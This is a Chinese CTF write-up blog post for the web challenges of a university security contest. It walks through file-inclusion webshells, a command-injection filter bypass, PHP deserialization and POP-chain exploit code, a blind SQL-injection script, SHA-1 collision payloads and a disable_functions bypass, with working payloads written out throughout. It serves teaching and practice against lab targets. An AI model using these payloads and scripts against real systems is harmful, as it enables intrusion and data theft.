成理第二届信安大挑战web篇

ctfshow web反序列化(254-261) 终于又开始做反序列化这一部分的题,希望做完这些题,能对反序列化这一块有更深的理解。 阅读详情

这是成理的新生赛题
由于某种原因,我只上传了这些我筛选后的(要么不会要么太简单,大部分是我不会哈哈)上传的题解

upload&include:

image-20211206221918694

观看源码发现有一个?file=flag.php,尝试传参

image-20211206221948859

image-20211206222017259

image-20211206222052395

这里文件上传已经写死了,但有个文件包含点include($F),所以就直接包含我们上传的那个图片马,然后达到getshell的目的

这里的原理是,当一个文件被包含时,它里面的代码会当做PHP代码执行

image-20211206222111348

上蚁剑连接,查看根目录的flag文件(一般来说,flag都是放在根目录下的)

当然这道题其实有更简单的做法,就是只利用文件包含的php://filter读取根目录的的文件,payload如下


?file=php://filter/read=convert.base64-encode/resource=../../../flag

easy_rce:

命令注入绕过,这里推荐一个在线工具,用来解析preg_match

image-20211206221319407

这里的过滤涉及到了 ; / 空格 一些关键词

分号可以用换行符绕过,空格我这里用的%09(tab的URL编码),关键词直接在中间插入两个单引号或者双引号就行了,这里主要是怎么绕过’/‘目录符,根据官方给出的提示,

image-20211206221413257

切换目录的相对路径有cd …(返回上层目录)

cd ~(切换到主目录),因此构造出payload

127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0aca''t%09*

image-20211206221527605

easy_unser:

一道PHP反序列化题,没有链子,直接修改filename变量的值就行了

image-20211206221619313

这里主要的考点是这么访问根目录的flag,由上面的题我们已经知道了切换目录的指令…,所以构造出的exp为

image-20211206221635042

image-20211206221650731

payload如下

?usr=O:8:"ReadFile":1:{s:8:"filename";s:13:"../../../flag";}

shop2.0:

这是道时间盲注的题,但是我第一次做的时候在爆出了表名和列名之后爆字段就爆不出来,我都有点怀疑这个题的环境有问题了,但是毕竟还是有几个人做出来就说明没有问题,所以后来我重新做了一次,这里我用的burp的爆破模板进行的盲注

首先fuzz一下看哪些被过滤掉了

image-20211206221754947

绕过了简单的union select 空格 等一些不痛不痒的过滤,可以轻松绕过,但是在实际操作的时候不知道为什么用burp就是爆不出字段名

这里我就贴出个官方的脚本

import requests
url = 'http://f2ff3dfe-0442-450f-8d96-7d001b3b2bd7.node.dino209.cn/login.php'
payload = 'select(table_name)from(information_schema.tables)where(table_schema=database())'
flag = ''
for i in range(1, 50):
    flag_length = len(flag)
    for j in range(32, 128):
        data = {
            'login': '',
            'username': 'admin',
            'password': "admin'/**/and/**/if(ascii(substr(({}),{},1))={},1,0)#".format(payload, i, j)
        }
        res = requests.post(url, data)
        if 'admin' in res:
            flag = flag+chr(j)
            print(flag)
            break
    if len(flag) == flag_length:
        break
print(flag)

upload_zip:

image-20211206222252786

查看提示说文件上传的路径为uploads,要使用phar协议,phar协议类似于zip,可以查看压缩包

php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

先用php://filter协议查看一下源码

?file=php://filter/convert.base64-encode/resource=index.php

image-20211206222348315

我们先将一个写有一句话木马的php文件压缩,然后再将压缩包的后缀名改为图片的格式,比如说jpg或者gif

image-20211206222403475

image-20211206222413178

image-20211206222425306

family_md5:

一道md5绕过的大杂烩题,套娃加MD5碰撞

image-20211206222528388

我们从头开始看,首先post两个参数aa和bb,要让他们不相等,且他们的MD5值要想等,而且这里是弱比较,所以可以直接用数组绕过就行了

aa[]=1&bb[]=2

然后再往下看,变量a不等于变量b且变量b双重md5加密的值弱比较等于0,这里有两种方法,一是直接用数组,因为数组不管md5加密几次他的值依然是null

image-20211206222558584

还有一种方法就是直接找两次md5加密后的结果为“以0e开头后面全跟数字的特殊值”

a[]=1&b[]=2

image-20211206222632265

image-20211206222647977

爆出了一个值,带进试一试

image-20211206222707395

回显no!!!说明成功了,那继续看最后一个点

image-20211206222718073

首先有两个变量string_1和2,分别用str1和str2传参,str1的参数不能是纯数字,str1和str的md5值不相等,接着有个strtr函数将两个md5值重新进行了构造,即修改,这个修改的规则就是把md5值中的所有c换成0,x换成1,h换成2,p换成3,所以我们就要爆破出一个字符的md5值以ce开头的后面全为数字的字符串,而且还有三个字母数字替换规则,这就又加大了爆破的范围,即md5值以ce开头后面全为[0-9]或者xhp这三个字母,这里我就不爆破了,我直接用别人爆破好的,因为这是一道原题

$str1 = s214587387a

$str2 = 2120624

image-20211206222737509

OK,成功绕过

fake_news:

image-20211206222825995

打开一看是PHP8.1.0-dev的版本,去网上搜索一下发现这个版本之前存在漏洞,被某人植入过后门,详情请见下面文章

https://blog.youkuaiyun.com/m0_48520508/article/details/117957712?spm=1001.2014.3001.5501

image-20211206222851018

final_unser: PHP反序列化POP构造

查看源码是一道pop链的题

image-20211206222945839

image-20211206222956745

先找一下这个链子的终点在哪里,很显然在DIno这个对象里面有一个eval的函数,在往前推,这个eval函数在getflag()这个方法里面,很显然紧接着这个invoke魔术函数里面就引用了getflag()这个方法,那么invoke又怎么往前跳呢,我们要找到他的上一个点,就需要了解魔术方法的调用方法

__invoke():

__invoke:当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,而调用函数的方式就是在后面加上(),当我们看到像return $function();这种语句时,就应该意识到后面可能会调用__invoke(),下图是直接在对象后面加()调用

需要注意的是,这个魔术方法只在PHP 5.3.0 及以上版本有效

知道了invoke函数的调用方法之后,我们就看哪个方法里面存在调用函数,可以看到W0S1对象中的__get()方法就调用了函数

image-20211206223027088

这里还需要绕过一个点,就是传入的两个变量的值不相等且他们的md5和sha1加密后的值相等,立马就想到了数组绕过这一点,数组绕过不仅可以用于弱比较,也可以用于强比较,因为他们的区别就是一个是不比较数据类型,一个是要比较数据类型,而当两个变量都为数组时就不存在类型不相等的情况了,OK接着往上据需找链子,那么__get()这个魔术方法又怎么调用呢

__get()`和`__set()

__get():从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时

__set():当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected)(用的不多)

image-20211206223049545

比如说看上面这个例子,echo语句调用了__toString(),然后它返回的是当前对象的a属性,但我们是没有定义a这个属性的,所以说会调用__get(),然后将返回值通过echo打印了出来

__get()的调用方法可以简单理解为,访问一个属性是访问不到,最常见的例子就是$this->属性a->属性b,很显然属性b是不可能在属性a中的,这样就会自动调用get的魔术方法,那么在这个题当中

image-20211206223109001

这个toString方法中,访问了str熟悉中的source属性,这明显是访问不到的,所以就会自动调用get()方法,那么我们接着往上看,什么又能调用toString呢

__toString()

__toString()魔术方法是最为最要的,在构造pop链中它往往是很关键的一环,在很多种情况下都会被调用,主要是下面这些:

(1)echo(obj)或print(obj)打印对象时会触发 (2)反序列化对象与字符串连接时 (3)反序列化对象参与格式化字符串时 (4)反序列化对象与字符串进行**==比较时(多为preg_match正则匹配**),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较 (5)反序列化对象参与格式化sql语句时,绑定参数时(用的少) (6)反序列化对象经过php字符串函数时,如strlen(),addslashes()时(用的少) (7)在in_array()方法中,第一个参数是 反序列化对象 ,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用 (8)反序列化的对象作为class_exists()的参数的时候(用的少)

通过看它被调用的情况,不难总结出,当对象被当成了字符串的时候,__toString()就会被调用,无论是将对象打印出来,还是将对象去与字符串进行比较,它都会被调用;这里要注意的是,必须要操作的是对象的时候,才会被调用,看代码应该会清晰一些:

image-20211206223151035

比如说上面这段代码,我们新建了对象a就直接打印它,照理说肯定是不会有任何回显的,因为只有字符串能被打印,对象肯定是不能被直接打印的,需要先将它序列化成字符串后才可以打印;但我们这直接打印发现它居然有输出,就是因为它按照操作字符串的方法去操作了对象,所以说调用了__toString(),然后将它的返回值输出了出来,下面再来看一个与字符串连接的例子:

image-20211206223202920

也是同样的道理,变量a被当成了字符串,然后与b完成了连接

回到这道题,因为:

image-20211206223247474

且这个wakeup函数调用了preg_match的正则匹配,搜索source这个属性,因为这个source属性能被我们人为控制,且在正则匹配中会被当做字符串搜索,如果我们把它改作是一个对象,那不就达到了引用toString函数的目的了吗

__wakeup()z这里已经是起点了,因为当使用unserailze函数时会自动调用wakeup函数,总结出来这条pop链就是

getflag() <= __invoke() <= __get() <= __toString() <= __wakeup()

所以构造出exp如下:

<?php 
class Dino
{
    public $a="echo `cat /fllllllllll4444g`;";
}
class CDUT
{
    public $source;
    public function __construct()
    {
        $this->source=new T0WN();

    }
}
class T0WN
{
    public $str;
    public function __construct()
    {
        $this->str=new W0S1();
    }
}
class W0S1
{
    public $p;
    private $dino=array(
        'a'=>1,
    );
    protected $str=array(
        'a'=>2,
    );
    public function __construct()
    {
        $this->p=new Dino();
    }
}
$w=new CDUT();
echo urlencode(serialize($w));
?>

这里还存在一个正则匹配

image-20211206223335082

他把括号跟单双引号都给过滤掉了,我们可以选择用反引号绕过,php有个特性,就是反引号中的代码会被当做命令执行,这个反引号的作用相当于函数exec(),当然这个是没有会回显的,所以我们要用echo把他的执行结果打印出来,所以构造出payload如下

echo `cat /fllllllllll4444g`;

image-20211206223357093

final rce

image-20211206223418985

审计代码,分析得出他有两个检查点

1:要o和w的值不相等,且sha1加密后数值相等,且不能用数组,我想到了正好有一组数刚好符号这个要求,至于原理是什么我也不清楚,反正拿来用就行了

payload1:

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&

payload2:

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

2:要传入一个变量c的值,使得2719这个元素进入数组array[++c]后就不能进入再对该数组赋值了,值就是考了一个数组溢出,只要我们找到PHP数组最大能写入多少个元素,然后再将它减去1后赋值给c就行了

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

9223372036854775807

构造出payload如下

http://b49460bc-d02b-4215-95da-cb987a997310.node.dino209.cn/?o=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&w=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&&c=9223372036854775806

image-20211206223545203

当我在进行system这些系统命令时发现他们并不回显,然后我查看了PHPinfo里面的disable_function这一栏禁用几乎所以能够执行系统命令的函数,所以就必须要采取某种方法进行绕过了,这里我就直接用的中国蚁剑的一个插件disable_function,这个插件可以之间在它的官方插件市场就能下载到,这里附上大佬的关于绕过disable_function的文章

https://blog.youkuaiyun.com/kong_free/article/details/106891179?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163712079216780264071306%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=163712079216780264071306&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-3-106891179.first_rank_v2_pc_rank_v29&utm_term=%E7%BB%95%E8%BF%87disable_functions&spm=1018.2226.3001.4187

image-20211206223604213

image-20211206223611351

image-20211206223628038

image-20211206223633437

image-20211206223640269

image-20211206223646495后面还有一道非常好的题,叫[OPcache],我会单独写一篇文章去讲它

【GXUCTF】easy_rce 讲一下我的解题过程,期间碰壁无数,值得写(shui)一篇wp~ 首先贴题目地址( http://120.24.194.57:3700/ 页面代码: <?php header("Content-type: text/html; charset=utf-8"); error_reporting(0); highlight_file(__FILE__); # hint:flag在/flag里~ if(isset($_GET['bypass'])){ $bypass = $_GET['bypas 阅读详情

相关推荐

关于RCE的学习(2)nssctf部分题目实操(1)

简单尝试以后,就是过滤了空格。然后我按照上一篇blog找的方法一个一个试,可能是因为不熟,我发现在找的那几个里面只有三个可以用,分别是%09,$IFS$9,${IFS}。结果对一些基础命令的学习,我发现一个非常显而易见的问题,那就是,理论知识如果没有建立在实操的基础上来讲的话,那么理论知识就会显得非常空,那么结合我上一篇对rce学习的文章,我对一下题目做出如下总结。打开环境以后,我发现这道题的关键在于cookie,根据代码可知,当ookie值admin为1才能进行下一步,所以直接打开bp修改cookie。

2301_81841047的博客 611

文件上传

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 explode() 函数把字符串打散为数组。 reset() 函数将内部指针指向数组中的第一个元素,并输出。 strtolower() 函数把字符串转换为小写。 substr() 函数返回字符串的一部分。 in_array() 函数搜索数组中是 否存在指定...

qq_44119514的博客 272

Ice-001#-#Easy RCE using Docker API 复现1

Docker Daemon 作为守护进程,运行在后台,可以执行发送到管理接口上的 Docker 命令复现环境:各安装 docker安装 centos 因为现装的

upload靶场全关通(下)12-21关

本案例以upload靶场为例,若帮到你请点个关注再走呗 第十二关(get00截断) 本关采用%00截断,需要的php版本<5.3.4,且需要将【magic_quotes_gpc】参数关闭 步骤一:上传php文件,进行抓包修改参数 需要修改地方: 1、POST头【save_path=】在【../upload/】后面添加上传的php文件名,并加上【%00】进行截断 2、【filename】后面的php修改为【png/jpg/jpeg】等 3、同理下面的【Content-Ty..

weixin_59165176的博客 2006

学习Fidder主要掌握的技术——流量篡改

本文介绍了Fiddler工具的三种常用调试方法:1)本地映射-通过保存修改JSON响应文件实现接口数据模拟;2)Composer接口调试-通过修改请求参数快速测试接口异常处理;3)断点调试-在请求/响应过程中拦截并修改数据。这三种方法分别适用于前端开发、接口测试和健壮性验证等场景,能够有效提高调试效率。操作步骤包括保存响应、修改数据、配置规则等关键环节,并提供了详细的界面操作指引。

2301_79022773的博客 353

【ros】ROS1的安装和相关使用方法

主要学习ros相关内容

Greary的博客 2379

成理信安大挑战ctf 部分wp

第二届信安大挑战wp #mermaid-svg-bzITyqJePqUjjend .label{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);fill:#333;color:#333}#mermaid-svg-bzITyqJePqUjjend .label text{fill:#333}#mermaid-svg-bzITyqJePqUjjend .node rect,#mermaid-svg

qq_51796436的博客 3311

LoRa项目实战:手把手教你为ESP32选配和焊接天线(从PCB到信号测试)

本文详细介绍了为ESP32选配和焊接LoRa天线的全流程,包括天线选型、PCB布局设计、焊接工艺及信号测试。重点解析了PCB板载天线、导线天线和陶瓷贴片天线的适用场景与性能特点,并提供专业的焊接技巧和信号测试方案,帮助开发者优化LoRa模块的无线通信性能。

weixin_30470643的博客 395

upload-labs 12-17关 详解

upload-labs 12-17关 详解

qq_53409748的博客 837

企业IT运维实录:批量部署银河麒麟V10-SP1,Ghost镜像与UKey激活实战

本文详细介绍了企业级银河麒麟V10-SP1操作系统的批量部署全流程,包括标准化镜像制作、自动化封装技术、网络化部署方案及UKey集群激活方案。通过实战案例和技术要点解析,帮助企业IT运维团队大幅提升部署效率,确保系统安全与稳定性。

weixin_30729609的博客 388

硅电容的工艺结构原理及选型参数总结

硅电容,也称为硅质电容或硅二极管电容,是一种特殊的电容器。它利用硅二极管的结构来实现电容的功能。本文对硅电容的工作原理,结构特点,选型参数及设计注意事项进行总结。

fydar的博客 2333

文件上传漏洞

由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。通常web站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验证,上传非法文件,这是在web渗透中非常关键的突破口。可以通过抓包修改内容类型来进行绕过。

m0_51227834的博客 261

麻辣香锅病毒分析

Spicy Hot Pot浏览器劫持病毒(麻辣香锅病毒)从2020年初被安全公司监测到,因其病毒模块带有MLXG_KM被安全行业代称麻辣香锅病毒。目前通过各种激活工具传播, 包括暴风激活、小马激活和KMS激活等诸多工具,疑似与下载站进行合作推广此类激活工具。Spicy Hot Pot 是一个浏览器劫持 Rootkit,它会将用户的主页更改为指向恶意软件操作员控制的页面,此外还会将内存转储从机器上传到预定义的服务器,并结合本地更新功能以确保其保持更新。通常浏览器劫持者会通过更改用户主页的恶意可执行文件或注册表

不忘初心,护天下安全! 4791

dvwa练习——file upload and inclusion(文件上传及包含)

一、 file upload难度高级➕inclusion难度低级 1、使用终端拼接php木马文件和jpg文件为111shell2.jpg 2、file upload上传文件 3、进入file inclusion。 (1)inclusion的url地址为: http://192.168.1.32:8082/vulnerabilities/fi/?page=include.php (2)上传成功的拼接文件题目所给地址为: ../../hacka...

haoaaao的博客 356

10种电阻综合对比——《器件手册--电阻》

可变电阻在电子设备中也有很多用途,如在收音机的音量调节电路中,通过旋转可变电阻的旋钮来改变电路中的电阻值,从而改变通过扬声器的电流,实现音量的调节。根据电阻定律,电阻R = ρ(L/S),其中ρ是导体材料的电阻率,L是导体的长度,S是导体的横截面积。比如,同样材料制成的两根电线,粗的电线电阻比细的电线电阻小,长的电线电阻比短的电线电阻大。电流采样电阻的工作原理基于欧姆定律,即电阻两端的电压与通过电阻的电流成正比,公式为 I = V/R,其中 I是电流,V是电阻两端的电压,R 是电阻值。

XU157303764的博客 3147

汽车LIN总线(3) -- 协议层:帧的类型

主要介绍LIN协议层中帧的类型,介绍中加入一点自己的理解(带下划线的是,其余是官方资料)。

晴朗luo的博客 889

成都理工大学第四届信安大挑战

在执行 push eax 指令时,它会将 eax 的值压入堆栈,并将 esp 的值减去 4,然后将 eax 的值存储到 esp 指向的内存位置。但是根据汇编代码中的指令顺序,该指令之前没有对 eax 进行过修改,因此假设 eax 的值为 0。由于 ebp 和 esp 的值在初始时均为 0,经过执行 push eax 指令后,ebp 的值保持为 0,而 esp 的值变为 -4。发现有有eval函数,则直接抓包然后构造system函数(这里注意其过滤了空格,要用$IFS绕过),永ls命令发现了该目录下的文件。

qq_63523232的博客 626

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

easy_rce 解析

使用cat命令打开flag文件,发现cat命令被屏蔽,我们尝试使用tac命令配合/查看flag。此时,看见地址可以尝试使用在地址后面加上;进行封闭并执行后面的语句。输入后没有反应,初步推测是语句被屏蔽。此时我们使用ls /进行根目录查询。打开网页,可以看见一个输入框。我们尝试使用|进行屏蔽脱离。这里使用ls尝试查看文件。得到flag,此题结束。

qq_73722777的博客 679

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

[SWPUCTF 2021 新生赛]easyrce-解题思路

isset函数用来检测url变量是否存在;$_GET函数获取变量数据#eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。重要代码段为一中的第3点,我们用来侧重分析。

m0_73734159的博客 2767

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Web反序列化 262~263详解

262~263

读书 买花 长大 1552

NISACTF 2022 writeup

周末两天的比赛 WEB(11/12)、PWN(5/6)、Reverse(3/6)、Crypto(3/7)、Misc(8/12) WEB没有AK还是略有遗憾,到后面实在做不动了。 第一次写这么长的WP… WEB checkin <?php error_reporting(0); include "flag.php"; // ‮⁦NISACTF⁩⁦Welcome to if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!.

st1cky的博客 4万+

关于upload上传类

文件上传是项目开发中比较常见的功能,但文件上传的过程比较繁琐,只要是有文件上传的地方就需要编写这些复杂的代码。为了能在每次开发中降低功能的编写难度,也为了能节省开发时间,通常我们都会将这些反复使用的一段代码封装到一个类中。帮助开发者在以后的开发中,通过编写几条简单代码就可以实现复杂的文件上传功能。对于基础薄弱的读者,只要会使用本类即可,而对一些喜欢挑战的朋友,可以尝试去读懂它,并能开发一个属于自己

huazhilanyue的博客 910

文件包含include的奇淫技巧长期更新ing

前言demo 其实include这个函数人人都知道,php的漏洞大多数来源于几个危险函数,这次先讲解include后面会讲解更多用法. <?php $a = $_GET['a']; include($a); ?> 1 include文件包含漏洞 windos c:\windows\System32\drivers\etc\hosts linux /etc/passwd 2图片???? 图片????简单来说就是上传一个木马但是后缀是jpg或者png,但是include函数执行时无视后

giaogiao123的博客 607

[SWPUCTF 2021 新生赛]easyrce(ls 和ls /到底有啥区别?)

关于使用ls /还是ls ,这里一次性阐述清楚,ls /表示列出根目录下的所有子目录及可能的文件,而ls 是列出当前目录下的所有子目录和文件,同理,使用cat命令也是如此。那就用GET型传参url=system('ls /');注意这里的分号,因为eval是代码执行函数,所以里面必须是完整的php代码。这里发现疑似flag文件,那么执行url=system('ls /flllllaaaaaaggggggg');

2401_84499442的博客 426

CTF校赛总结wp【web】

作为ctf的小白,也是借着学校组织ctf比赛的机会锻炼了一下自己,总的来说,还是有蛮多收获的,理解了一些平时没弄懂的问题,也对接下来的学习有了一个方向,话不多说,记录一下wp。

qq_57356551的博客 1376

Web 版翻译者资料库

本项目是桌面版《翻译者资料库》的 Web 移植版,基于 Spring Boot 3.3、Thymeleaf、Bootstrap 5.3 与 MySQL 8.0 构建。它面向翻译写作提供资料、词汇、句库、文本工具、对照制作、查找、备份恢复及旧库迁移等功能,完整继承桌面版核心业务规则,支持一键启动与离线访问。

howard2005的专栏 149
上一篇: BUUCTF刷题记录[warmup&easysql&Havefun]
下一篇: BUUCTF&[强网杯 2019]随便注(细节详解WP)
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值